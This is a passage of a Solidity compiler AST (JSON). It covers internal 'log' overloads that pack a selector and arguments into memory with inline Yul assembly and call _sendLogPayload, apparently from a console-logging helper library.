pure"}},"id":42214,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"254858:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42215,"nodeType":"ExpressionStatement","src":"254858:27:22"},{"AST":{"nativeSrc":"254904:156:22","nodeType":"YulBlock","src":"254904:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"254925:4:22","nodeType":"YulLiteral","src":"254925:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"254931:2:22","nodeType":"YulIdentifier","src":"254931:2:22"}],"functionName":{"name":"mstore","nativeSrc":"254918:6:22","nodeType":"YulIdentifier","src":"254918:6:22"},"nativeSrc":"254918:16:22","nodeType":"YulFunctionCall","src":"254918:16:22"},"nativeSrc":"254918:16:22","nodeType":"YulExpressionStatement","src":"254918:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"254954:4:22","nodeType":"YulLiteral","src":"254954:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"254960:2:22","nodeType":"YulIdentifier","src":"254960:2:22"}],"functionName":{"name":"mstore","nativeSrc":"254947:6:22","nodeType":"YulIdentifier","src":"254947:6:22"},"nativeSrc":"254947:16:22","nodeType":"YulFunctionCall","src":"254947:16:22"},"nativeSrc":"254947:16:22","nodeType":"YulExpressionStatement","src":"254947:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"254983:4:22","nodeType":"YulLiteral","src":"254983:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"254989:2:22","nodeType":"YulIdentifier","src":"254989:2:22"}],"functionName":{"name":"mstore","nativeSrc":"254976:6:22","nodeType":"YulIdentifier","src":"254976:6:22"},"nativeSrc":"254976:16:22","nodeType":"YulFunctionCall","src":"254976:16:22"},"nativeSrc":"254976:16:22","nodeType":"YulExpressionStatement","src":"254976:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"255012:4:22","nodeType":"YulLiteral","src":"255012:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"255018:2:22","nodeType":"YulIdentifier","src":"255018:2:22"}],"functionName":{"name":"mstore","nativeSrc":"255005:6:22","nodeType":"YulIdentifier","src":"255005:6:22"},"nativeSrc":"255005:16:22","nodeType":"YulFunctionCall","src":"255005:16:22"},"nativeSrc":"255005:16:22","nodeType":"YulExpressionStatement","src":"255005:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"255041:4:22","nodeType":"YulLiteral","src":"255041:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"255047:2:22","nodeType":"YulIdentifier","src":"255047:2:22"}],"functionName":{"name":"mstore","nativeSrc":"255034:6:22","nodeType":"YulIdentifier","src":"255034:6:22"},"nativeSrc":"255034:16:22","nodeType":"YulFunctionCall","src":"255034:16:22"},"nativeSrc":"255034:16:22","nodeType":"YulExpressionStatement","src":"255034:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42196,"isOffset":false,"isSlot":false,"src":"254931:2:22","valueSize":1},{"declaration":42199,"isOffset":false,"isSlot":false,"src":"254960:2:22","valueSize":1},{"declaration":42202,"isOffset":false,"isSlot":false,"src":"254989:2:22","valueSize":1},{"declaration":42205,"isOffset":false,"isSlot":false,"src":"255018:2:22","valueSize":1},{"declaration":42208,"isOffset":false,"isSlot":false,"src":"255047:2:22","valueSize":1}],"id":42216,"nodeType":"InlineAssembly","src":"254895:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"254295:3:22","parameters":{"id":42193,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42186,"mutability":"mutable","name":"p0","nameLocation":"254307:2:22","nodeType":"VariableDeclaration","scope":42218,"src":"254299:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42185,"name":"uint256","nodeType":"ElementaryTypeName","src":"254299:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42188,"mutability":"mutable","name":"p1","nameLocation":"254316:2:22","nodeType":"VariableDeclaration","scope":42218,"src":"254311:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42187,"name":"bool","nodeType":"ElementaryTypeName","src":"254311:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":42190,"mutability":"mutable","name":"p2","nameLocation":"254328:2:22","nodeType":"VariableDeclaration","scope":42218,"src":"254320:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42189,"name":"uint256","nodeType":"ElementaryTypeName","src":"254320:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42192,"mutability":"mutable","name":"p3","nameLocation":"254337:2:22","nodeType":"VariableDeclaration","scope":42218,"src":"254332:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42191,"name":"bool","nodeType":"ElementaryTypeName","src":"254332:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"254298:42:22"},"returnParameters":{"id":42194,"nodeType":"ParameterList","parameters":[],"src":"254355:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42252,"nodeType":"FunctionDefinition","src":"255072:786:22","nodes":[],"body":{"id":42251,"nodeType":"Block","src":"255144:714:22","nodes":[],"statements":[{"assignments":[42230],"declarations":[{"constant":false,"id":42230,"mutability":"mutable","name":"m0","nameLocation":"255162:2:22","nodeType":"VariableDeclaration","scope":42251,"src":"255154:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42229,"name":"bytes32","nodeType":"ElementaryTypeName","src":"255154:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42231,"nodeType":"VariableDeclarationStatement","src":"255154:10:22"},{"assignments":[42233],"declarations":[{"constant":false,"id":42233,"mutability":"mutable","name":"m1","nameLocation":"255182:2:22","nodeType":"VariableDeclaration","scope":42251,"src":"255174:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42232,"name":"bytes32","nodeType":"ElementaryTypeName","src":"255174:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42234,"nodeType":"VariableDeclarationStatement","src":"255174:10:22"},{"assignments":[42236],"declarations":[{"constant":false,"id":42236,"mutability":"mutable","name":"m2","nameLocation":"255202:2:22","nodeType":"VariableDeclaration","scope":42251,"src":"255194:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42235,"name":"bytes32","nodeType":"ElementaryTypeName","src":"255194:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42237,"nodeType":"VariableDeclarationStatement","src":"255194:10:22"},{"assignments":[42239],"declarations":[{"constant":false,"id":42239,"mutability":"mutable","name":"m3","nameLocation":"255222:2:22","nodeType":"VariableDeclaration","scope":42251,"src":"255214:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42238,"name":"bytes32","nodeType":"ElementaryTypeName","src":"255214:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42240,"nodeType":"VariableDeclarationStatement","src":"255214:10:22"},{"assignments":[42242],"declarations":[{"constant":false,"id":42242,"mutability":"mutable","name":"m4","nameLocation":"255242:2:22","nodeType":"VariableDeclaration","scope":42251,"src":"255234:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42241,"name":"bytes32","nodeType":"ElementaryTypeName","src":"255234:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42243,"nodeType":"VariableDeclarationStatement","src":"255234:10:22"},{"AST":{"nativeSrc":"255263:378:22","nodeType":"YulBlock","src":"255263:378:22","statements":[{"nativeSrc":"255277:17:22","nodeType":"YulAssignment","src":"255277:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"255289:4:22","nodeType":"YulLiteral","src":"255289:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"255283:5:22","nodeType":"YulIdentifier","src":"255283:5:22"},"nativeSrc":"255283:11:22","nodeType":"YulFunctionCall","src":"255283:11:22"},"variableNames":[{"name":"m0","nativeSrc":"255277:2:22","nodeType":"YulIdentifier","src":"255277:2:22"}]},{"nativeSrc":"255307:17:22","nodeType":"YulAssignment","src":"255307:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"255319:4:22","nodeType":"YulLiteral","src":"255319:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"255313:5:22","nodeType":"YulIdentifier","src":"255313:5:22"},"nativeSrc":"255313:11:22","nodeType":"YulFunctionCall","src":"255313:11:22"},"variableNames":[{"name":"m1","nativeSrc":"255307:2:22","nodeType":"YulIdentifier","src":"255307:2:22"}]},{"nativeSrc":"255337:17:22","nodeType":"YulAssignment","src":"255337:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"255349:4:22","nodeType":"YulLiteral","src":"255349:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"255343:5:22","nodeType":"YulIdentifier","src":"255343:5:22"},"nativeSrc":"255343:11:22","nodeType":"YulFunctionCall","src":"255343:11:22"},"variableNames":[{"name":"m2","nativeSrc":"255337:2:22","nodeType":"YulIdentifier","src":"255337:2:22"}]},{"nativeSrc":"255367:17:22","nodeType":"YulAssignment","src":"255367:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"255379:4:22","nodeType":"YulLiteral","src":"255379:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"255373:5:22","nodeType":"YulIdentifier","src":"255373:5:22"},"nativeSrc":"255373:11:22","nodeType":"YulFunctionCall","src":"255373:11:22"},"variableNames":[{"name":"m3","nativeSrc":"255367:2:22","nodeType":"YulIdentifier","src":"255367:2:22"}]},{"nativeSrc":"255397:17:22","nodeType":"YulAssignment","src":"255397:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"255409:4:22","nodeType":"YulLiteral","src":"255409:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"255403:5:22","nodeType":"YulIdentifier","src":"255403:5:22"},"nativeSrc":"255403:11:22","nodeType":"YulFunctionCall","src":"255403:11:22"},"variableNames":[{"name":"m4","nativeSrc":"255397:2:22","nodeType":"YulIdentifier","src":"255397:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"255498:4:22","nodeType":"YulLiteral","src":"255498:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"255504:10:22","nodeType":"YulLiteral","src":"255504:10:22","type":"","value":"0xc6acc7a8"}],"functionName":{"name":"mstore","nativeSrc":"255491:6:22","nodeType":"YulIdentifier","src":"255491:6:22"},"nativeSrc":"255491:24:22","nodeType":"YulFunctionCall","src":"255491:24:22"},"nativeSrc":"255491:24:22","nodeType":"YulExpressionStatement","src":"255491:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"255535:4:22","nodeType":"YulLiteral","src":"255535:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"255541:2:22","nodeType":"YulIdentifier","src":"255541:2:22"}],"functionName":{"name":"mstore","nativeSrc":"255528:6:22","nodeType":"YulIdentifier","src":"255528:6:22"},"nativeSrc":"255528:16:22","nodeType":"YulFunctionCall","src":"255528:16:22"},"nativeSrc":"255528:16:22","nodeType":"YulExpressionStatement","src":"255528:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"255564:4:22","nodeType":"YulLiteral","src":"255564:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"255570:2:22","nodeType":"YulIdentifier","src":"255570:2:22"}],"functionName":{"name":"mstore","nativeSrc":"255557:6:22","nodeType":"YulIdentifier","src":"255557:6:22"},"nativeSrc":"255557:16:22","nodeType":"YulFunctionCall","src":"255557:16:22"},"nativeSrc":"255557:16:22","nodeType":"YulExpressionStatement","src":"255557:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"255593:4:22","nodeType":"YulLiteral","src":"255593:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"255599:2:22","nodeType":"YulIdentifier","src":"255599:2:22"}],"functionName":{"name":"mstore","nativeSrc":"255586:6:22","nodeType":"YulIdentifier","src":"255586:6:22"},"nativeSrc":"255586:16:22","nodeType":"YulFunctionCall","src":"255586:16:22"},"nativeSrc":"255586:16:22","nodeType":"YulExpressionStatement","src":"255586:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"255622:4:22","nodeType":"YulLiteral","src":"255622:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"255628:2:22","nodeType":"YulIdentifier","src":"255628:2:22"}],"functionName":{"name":"mstore","nativeSrc":"255615:6:22","nodeType":"YulIdentifier","src":"255615:6:22"},"nativeSrc":"255615:16:22","nodeType":"YulFunctionCall","src":"255615:16:22"},"nativeSrc":"255615:16:22","nodeType":"YulExpressionStatement","src":"255615:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42230,"isOffset":false,"isSlot":false,"src":"255277:2:22","valueSize":1},{"declaration":42233,"isOffset":false,"isSlot":false,"src":"255307:2:22","valueSize":1},{"declaration":42236,"isOffset":false,"isSlot":false,"src":"255337:2:22","valueSize":1},{"declaration":42239,"isOffset":false,"isSlot":false,"src":"255367:2:22","valueSize":1},{"declaration":42242,"isOffset":false,"isSlot":false,"src":"255397:2:22","valueSize":1},{"declaration":42220,"isOffset":false,"isSlot":false,"src":"255541:2:22","valueSize":1},{"declaration":42222,"isOffset":false,"isSlot":false,"src":"255570:2:22","valueSize":1},{"declaration":42224,"isOffset":false,"isSlot":false,"src":"255599:2:22","valueSize":1},{"declaration":42226,"isOffset":false,"isSlot":false,"src":"255628:2:22","valueSize":1}],"id":42244,"nodeType":"InlineAssembly","src":"255254:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42246,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"255666:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":42247,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"255672:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":42245,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"255650:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42248,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"255650:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42249,"nodeType":"ExpressionStatement","src":"255650:27:22"},{"AST":{"nativeSrc":"255696:156:22","nodeType":"YulBlock","src":"255696:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"255717:4:22","nodeType":"YulLiteral","src":"255717:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"255723:2:22","nodeType":"YulIdentifier","src":"255723:2:22"}],"functionName":{"name":"mstore","nativeSrc":"255710:6:22","nodeType":"YulIdentifier","src":"255710:6:22"},"nativeSrc":"255710:16:22","nodeType":"YulFunctionCall","src":"255710:16:22"},"nativeSrc":"255710:16:22","nodeType":"YulExpressionStatement","src":"255710:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"255746:4:22","nodeType":"YulLiteral","src":"255746:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"255752:2:22","nodeType":"YulIdentifier","src":"255752:2:22"}],"functionName":{"name":"mstore","nativeSrc":"255739:6:22","nodeType":"YulIdentifier","src":"255739:6:22"},"nativeSrc":"255739:16:22","nodeType":"YulFunctionCall","src":"255739:16:22"},"nativeSrc":"255739:16:22","nodeType":"YulExpressionStatement","src":"255739:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"255775:4:22","nodeType":"YulLiteral","src":"255775:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"255781:2:22","nodeType":"YulIdentifier","src":"255781:2:22"}],"functionName":{"name":"mstore","nativeSrc":"255768:6:22","nodeType":"YulIdentifier","src":"255768:6:22"},"nativeSrc":"255768:16:22","nodeType":"YulFunctionCall","src":"255768:16:22"},"nativeSrc":"255768:16:22","nodeType":"YulExpressionStatement","src":"255768:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"255804:4:22","nodeType":"YulLiteral","src":"255804:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"255810:2:22","nodeType":"YulIdentifier","src":"255810:2:22"}],"functionName":{"name":"mstore","nativeSrc":"255797:6:22","nodeType":"YulIdentifier","src":"255797:6:22"},"nativeSrc":"255797:16:22","nodeType":"YulFunctionCall","src":"255797:16:22"},"nativeSrc":"255797:16:22","nodeType":"YulExpressionStatement","src":"255797:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"255833:4:22","nodeType":"YulLiteral","src":"255833:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"255839:2:22","nodeType":"YulIdentifier","src":"255839:2:22"}],"functionName":{"name":"mstore","nativeSrc":"255826:6:22","nodeType":"YulIdentifier","src":"255826:6:22"},"nativeSrc":"255826:16:22","nodeType":"YulFunctionCall","src":"255826:16:22"},"nativeSrc":"255826:16:22","nodeType":"YulExpressionStatement","src":"255826:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42230,"isOffset":false,"isSlot":false,"src":"255723:2:22","valueSize":1},{"declaration":42233,"isOffset":false,"isSlot":false,"src":"255752:2:22","valueSize":1},{"declaration":42236,"isOffset":false,"isSlot":false,"src":"255781:2:22","valueSize":1},{"declaration":42239,"isOffset":false,"isSlot":false,"src":"255810:2:22","valueSize":1},{"declaration":42242,"isOffset":false,"isSlot":false,"src":"255839:2:22","valueSize":1}],"id":42250,"nodeType":"InlineAssembly","src":"255687:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"255081:3:22","parameters":{"id":42227,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42220,"mutability":"mutable","name":"p0","nameLocation":"255093:2:22","nodeType":"VariableDeclaration","scope":42252,"src":"255085:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42219,"name":"uint256","nodeType":"ElementaryTypeName","src":"255085:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42222,"mutability":"mutable","name":"p1","nameLocation":"255102:2:22","nodeType":"VariableDeclaration","scope":42252,"src":"255097:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42221,"name":"bool","nodeType":"ElementaryTypeName","src":"255097:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":42224,"mutability":"mutable","name":"p2","nameLocation":"255114:2:22","nodeType":"VariableDeclaration","scope":42252,"src":"255106:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42223,"name":"uint256","nodeType":"ElementaryTypeName","src":"255106:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42226,"mutability":"mutable","name":"p3","nameLocation":"255126:2:22","nodeType":"VariableDeclaration","scope":42252,"src":"255118:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42225,"name":"uint256","nodeType":"ElementaryTypeName","src":"255118:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"255084:45:22"},"returnParameters":{"id":42228,"nodeType":"ParameterList","parameters":[],"src":"255144:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42292,"nodeType":"FunctionDefinition","src":"255864:1334:22","nodes":[],"body":{"id":42291,"nodeType":"Block","src":"255936:1262:22","nodes":[],"statements":[{"assignments":[42264],"declarations":[{"constant":false,"id":42264,"mutability":"mutable","name":"m0","nameLocation":"255954:2:22","nodeType":"VariableDeclaration","scope":42291,"src":"255946:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42263,"name":"bytes32","nodeType":"ElementaryTypeName","src":"255946:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42265,"nodeType":"VariableDeclarationStatement","src":"255946:10:22"},{"assignments":[42267],"declarations":[{"constant":false,"id":42267,"mutability":"mutable","name":"m1","nameLocation":"255974:2:22","nodeType":"VariableDeclaration","scope":42291,"src":"255966:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42266,"name":"bytes32","nodeType":"ElementaryTypeName","src":"255966:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42268,"nodeType":"VariableDeclarationStatement","src":"255966:10:22"},{"assignments":[42270],"declarations":[{"constant":false,"id":42270,"mutability":"mutable","name":"m2","nameLocation":"255994:2:22","nodeType":"VariableDeclaration","scope":42291,"src":"255986:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42269,"name":"bytes32","nodeType":"ElementaryTypeName","src":"255986:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42271,"nodeType":"VariableDeclarationStatement","src":"255986:10:22"},{"assignments":[42273],"declarations":[{"constant":false,"id":42273,"mutability":"mutable","name":"m3","nameLocation":"256014:2:22","nodeType":"VariableDeclaration","scope":42291,"src":"256006:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42272,"name":"bytes32","nodeType":"ElementaryTypeName","src":"256006:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42274,"nodeType":"VariableDeclarationStatement","src":"256006:10:22"},{"assignments":[42276],"declarations":[{"constant":false,"id":42276,"mutability":"mutable","name":"m4","nameLocation":"256034:2:22","nodeType":"VariableDeclaration","scope":42291,"src":"256026:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42275,"name":"bytes32","nodeType":"ElementaryTypeName","src":"256026:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42277,"nodeType":"VariableDeclarationStatement","src":"256026:10:22"},{"assignments":[42279],"declarations":[{"constant":false,"id":42279,"mutability":"mutable","name":"m5","nameLocation":"256054:2:22","nodeType":"VariableDeclaration","scope":42291,"src":"256046:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42278,"name":"bytes32","nodeType":"ElementaryTypeName","src":"256046:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42280,"nodeType":"VariableDeclarationStatement","src":"256046:10:22"},{"assignments":[42282],"declarations":[{"constant":false,"id":42282,"mutability":"mutable","name":"m6","nameLocation":"256074:2:22","nodeType":"VariableDeclaration","scope":42291,"src":"256066:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42281,"name":"bytes32","nodeType":"ElementaryTypeName","src":"256066:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42283,"nodeType":"VariableDeclarationStatement","src":"256066:10:22"},{"AST":{"nativeSrc":"256095:828:22","nodeType":"YulBlock","src":"256095:828:22","statements":[{"body":{"nativeSrc":"256138:313:22","nodeType":"YulBlock","src":"256138:313:22","statements":[{"nativeSrc":"256156:15:22","nodeType":"YulVariableDeclaration","src":"256156:15:22","value":{"kind":"number","nativeSrc":"256170:1:22","nodeType":"YulLiteral","src":"256170:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"256160:6:22","nodeType":"YulTypedName","src":"256160:6:22","type":""}]},{"body":{"nativeSrc":"256241:40:22","nodeType":"YulBlock","src":"256241:40:22","statements":[{"body":{"nativeSrc":"256270:9:22","nodeType":"YulBlock","src":"256270:9:22","statements":[{"nativeSrc":"256272:5:22","nodeType":"YulBreak","src":"256272:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"256258:6:22","nodeType":"YulIdentifier","src":"256258:6:22"},{"name":"w","nativeSrc":"256266:1:22","nodeType":"YulIdentifier","src":"256266:1:22"}],"functionName":{"name":"byte","nativeSrc":"256253:4:22","nodeType":"YulIdentifier","src":"256253:4:22"},"nativeSrc":"256253:15:22","nodeType":"YulFunctionCall","src":"256253:15:22"}],"functionName":{"name":"iszero","nativeSrc":"256246:6:22","nodeType":"YulIdentifier","src":"256246:6:22"},"nativeSrc":"256246:23:22","nodeType":"YulFunctionCall","src":"256246:23:22"},"nativeSrc":"256243:36:22","nodeType":"YulIf","src":"256243:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"256198:6:22","nodeType":"YulIdentifier","src":"256198:6:22"},{"kind":"number","nativeSrc":"256206:4:22","nodeType":"YulLiteral","src":"256206:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"256195:2:22","nodeType":"YulIdentifier","src":"256195:2:22"},"nativeSrc":"256195:16:22","nodeType":"YulFunctionCall","src":"256195:16:22"},"nativeSrc":"256188:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"256212:28:22","nodeType":"YulBlock","src":"256212:28:22","statements":[{"nativeSrc":"256214:24:22","nodeType":"YulAssignment","src":"256214:24:22","value":{"arguments":[{"name":"length","nativeSrc":"256228:6:22","nodeType":"YulIdentifier","src":"256228:6:22"},{"kind":"number","nativeSrc":"256236:1:22","nodeType":"YulLiteral","src":"256236:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"256224:3:22","nodeType":"YulIdentifier","src":"256224:3:22"},"nativeSrc":"256224:14:22","nodeType":"YulFunctionCall","src":"256224:14:22"},"variableNames":[{"name":"length","nativeSrc":"256214:6:22","nodeType":"YulIdentifier","src":"256214:6:22"}]}]},"pre":{"nativeSrc":"256192:2:22","nodeType":"YulBlock","src":"256192:2:22","statements":[]},"src":"256188:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"256305:3:22","nodeType":"YulIdentifier","src":"256305:3:22"},{"name":"length","nativeSrc":"256310:6:22","nodeType":"YulIdentifier","src":"256310:6:22"}],"functionName":{"name":"mstore","nativeSrc":"256298:6:22","nodeType":"YulIdentifier","src":"256298:6:22"},"nativeSrc":"256298:19:22","nodeType":"YulFunctionCall","src":"256298:19:22"},"nativeSrc":"256298:19:22","nodeType":"YulExpressionStatement","src":"256298:19:22"},{"nativeSrc":"256334:37:22","nodeType":"YulVariableDeclaration","src":"256334:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"256351:3:22","nodeType":"YulLiteral","src":"256351:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"256360:1:22","nodeType":"YulLiteral","src":"256360:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"256363:6:22","nodeType":"YulIdentifier","src":"256363:6:22"}],"functionName":{"name":"shl","nativeSrc":"256356:3:22","nodeType":"YulIdentifier","src":"256356:3:22"},"nativeSrc":"256356:14:22","nodeType":"YulFunctionCall","src":"256356:14:22"}],"functionName":{"name":"sub","nativeSrc":"256347:3:22","nodeType":"YulIdentifier","src":"256347:3:22"},"nativeSrc":"256347:24:22","nodeType":"YulFunctionCall","src":"256347:24:22"},"variables":[{"name":"shift","nativeSrc":"256338:5:22","nodeType":"YulTypedName","src":"256338:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"256399:3:22","nodeType":"YulIdentifier","src":"256399:3:22"},{"kind":"number","nativeSrc":"256404:4:22","nodeType":"YulLiteral","src":"256404:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"256395:3:22","nodeType":"YulIdentifier","src":"256395:3:22"},"nativeSrc":"